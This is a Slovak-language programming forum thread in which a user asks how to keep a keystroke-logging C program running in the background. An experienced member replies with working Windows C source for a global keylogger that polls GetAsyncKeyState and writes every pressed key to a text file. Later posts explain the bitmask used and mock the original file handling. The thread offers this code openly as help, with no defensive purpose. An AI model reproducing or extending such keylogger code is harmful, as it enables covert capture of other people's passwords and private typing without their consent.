[ Príspevkov: 5 ] 
AutorSpráva
Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 11.09.12
Prihlásený: 11.09.12
Príspevky: 2
Témy: 1 | 1
NapísalOffline : 11.09.2012 14:39 | C/C++ program na pozadí

Dobrý deň,
Mám takýto program :

Kód:
#include <stdio.h>
#include <conio.h>
#include <windows.h>



int main(int argc, char* argv[])
{
   FILE *subor;
   unsigned char ch=0;


  while(1)  {
      subor=fopen("slovnik.txt","a"); 
     if(kbhit())                             
        {   
         ch = getch();                     
            switch(ch)                         
            {


             case    0x0D : fprintf(subor,"\n");
             break;

             default:   fprintf(subor,"%c",ch);         
            }
        }
      fclose(subor);
       }

 return 0;

}



chcel by som sa opýtať či by mi niekto nevedel poradiť aby tento program bežal na pozadí napr. keď je na lište. Takže keď mam otvorený samostatný cmd a píšem tak mi zapisuje do súboru no ja chcem aby fungoval aj keď je minimalizovaný ........ vopred ďakujem za rady a pomoc :)


Offline

Skúsený užívateľ
Skúsený užívateľ
C/C++ program na pozadí

Registrovaný: 11.01.09
Prihlásený: 09.05.24
Príspevky: 1385
Témy: 9 | 9
Bydlisko: Hrinova
NapísalOffline : 11.09.2012 16:46 | C/C++ program na pozadí

Skus si toto:
Kód:
#include <stdio.h>
#include <windows.h>


int main()
{

    FILE            *subor;
    unsigned char   c;
    int             process_running = 1;

    subor = fopen( "slovnik.txt", "a+" );
    if ( subor == NULL )
    {
        printf( "*  Ajaj, keylogger zlyhal :-o\n" );
        return 1;
    }

    while( process_running )
    {
        Sleep( 10 );
        for( c = 8; c <= 127; c++ )
        {
            if( GetAsyncKeyState( c ) == -32767 )
            {
                if ( c == VK_ESCAPE )
                {
                    process_running = 0;
                    break;
                }

                fprintf( subor, "%c", c );

                    /* *** DEBUG *** */
                /* printf( "%c ", c ); */
            }
        }
    }

    close( subor );
    return 0;

}


Mam len linux, cize skompilovat mi to slo, ale spusit to uz musis sam. Ak to nepojde, odkomentuj riadok printf, ci to aspon do konzoly pise spravne znaky.


Offline

Užívateľ
Užívateľ
Obrázok užívateľa

Registrovaný: 11.09.12
Prihlásený: 11.09.12
Príspevky: 2
Témy: 1 | 1
Napísal autor témyOffline : 12.09.2012 0:49 | C/C++ program na pozadí

ooo ďakujem si supr takto to je lepšie:) len nechápem prečo tu funkciu na čítanie z klávesnice porovnávaš stým číslom -32767


Offline

Skúsený užívateľ
Skúsený užívateľ
C/C++ program na pozadí

Registrovaný: 11.01.09
Prihlásený: 09.05.24
Príspevky: 1385
Témy: 9 | 9
Bydlisko: Hrinova
NapísalOffline : 12.09.2012 7:39 | C/C++ program na pozadí

Pretoze ked si pozries, ako su reprezentovane zaporne cisla v pamati, tak zistis, ze cislo -32767 je v dvojkovej sustave 1000000000000001, cize je nastaveny prvy a posledny bit. Ked si potom pozries dokumentaciu k funkcii GetAsyncKeyState, zistis, ze sa tam pise:
msdn píše:
If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState.


Mohol som ti to napisat aj takto:
Kód:
if( GetAsyncKeyState( c ) == 0x8001 )


alebo takto:
Kód:
if( ( GetAsyncKeyState( c ) & 0x8001 ) == 0x8001 )


a tak dalej a tak dalej, ale stale sa jedna o ten isty zapis 16-bitoveho cisla, ktore ma nastaveny prvy a posledny bit.


Offline

Užívateľ
Užívateľ
C/C++ program na pozadí

Registrovaný: 14.03.11
Prihlásený: 30.04.24
Príspevky: 814
Témy: 23 | 23
Bydlisko: Bratislava
NapísalOffline : 27.09.2012 16:15 | C/C++ program na pozadí

je fascinujúce v slučke otvárať a zatvárať súbor...


 [ Príspevkov: 5 ] 


C/C++ program na pozadí



Podobné témy

 Témy  Odpovede  Zobrazenia  Posledný príspevok 
V tomto fóre nie sú ďalšie neprečítané témy.

program na projekt (C#, C++, pascal, java)

v Assembler, C, C++, Pascal, Java

2

835

12.03.2009 12:08

Svjatogor

V tomto fóre nie sú ďalšie neprečítané témy.

C# alebo C++ appka/program na výpočty

v Assembler, C, C++, Pascal, Java

1

388

20.03.2015 22:36

walther

V tomto fóre nie sú ďalšie neprečítané témy.

Mám sa učiť C ++/objective C/ C#?

v Assembler, C, C++, Pascal, Java

5

735

08.07.2014 20:40

XOLOO

V tomto fóre nie sú ďalšie neprečítané témy.

C++ program

v Assembler, C, C++, Pascal, Java

1

839

11.05.2008 8:23

sento

V tomto fóre nie sú ďalšie neprečítané témy.

C program

v Assembler, C, C++, Pascal, Java

13

739

25.03.2017 11:21

mitko

Táto téma je zamknutá, nemôžete posielať nové príspevky alebo odpovedať na staršie.

Program v C

v Assembler, C, C++, Pascal, Java

1

300

05.11.2013 16:00

Ďuri

V tomto fóre nie sú ďalšie neprečítané témy.

program v C

v Assembler, C, C++, Pascal, Java

7

744

23.05.2008 16:21

poma

V tomto fóre nie sú ďalšie neprečítané témy.

program v C++

v Assembler, C, C++, Pascal, Java

2

1305

06.12.2006 20:44

rebecca

V tomto fóre nie sú ďalšie neprečítané témy.

Program v C

v Assembler, C, C++, Pascal, Java

2

570

16.05.2008 16:51

Cruel

V tomto fóre nie sú ďalšie neprečítané témy.

C++ zakladny program

v Assembler, C, C++, Pascal, Java

24

1608

31.08.2010 22:02

ado21

V tomto fóre nie sú ďalšie neprečítané témy.

Visal C++ program

v Assembler, C, C++, Pascal, Java

19

1121

11.09.2010 20:57

jawakiller

V tomto fóre nie sú ďalšie neprečítané témy.

C++ (program airport)

v Assembler, C, C++, Pascal, Java

0

738

19.04.2007 17:28

pecko

V tomto fóre nie sú ďalšie neprečítané témy.

Program v C++

v Assembler, C, C++, Pascal, Java

23

1138

28.05.2009 14:02

reDo

V tomto fóre nie sú ďalšie neprečítané témy.

program v C++

v Assembler, C, C++, Pascal, Java

2

539

07.06.2012 21:57

Hipi21

V tomto fóre nie sú ďalšie neprečítané témy.

malý program v c

v Assembler, C, C++, Pascal, Java

2

700

12.09.2011 19:39

mk*

V tomto fóre nie sú ďalšie neprečítané témy.

Program v c++ problém

v Assembler, C, C++, Pascal, Java

8

750

02.02.2012 19:01

ochar



© 2005 - 2024 PCforum, edited by JanoF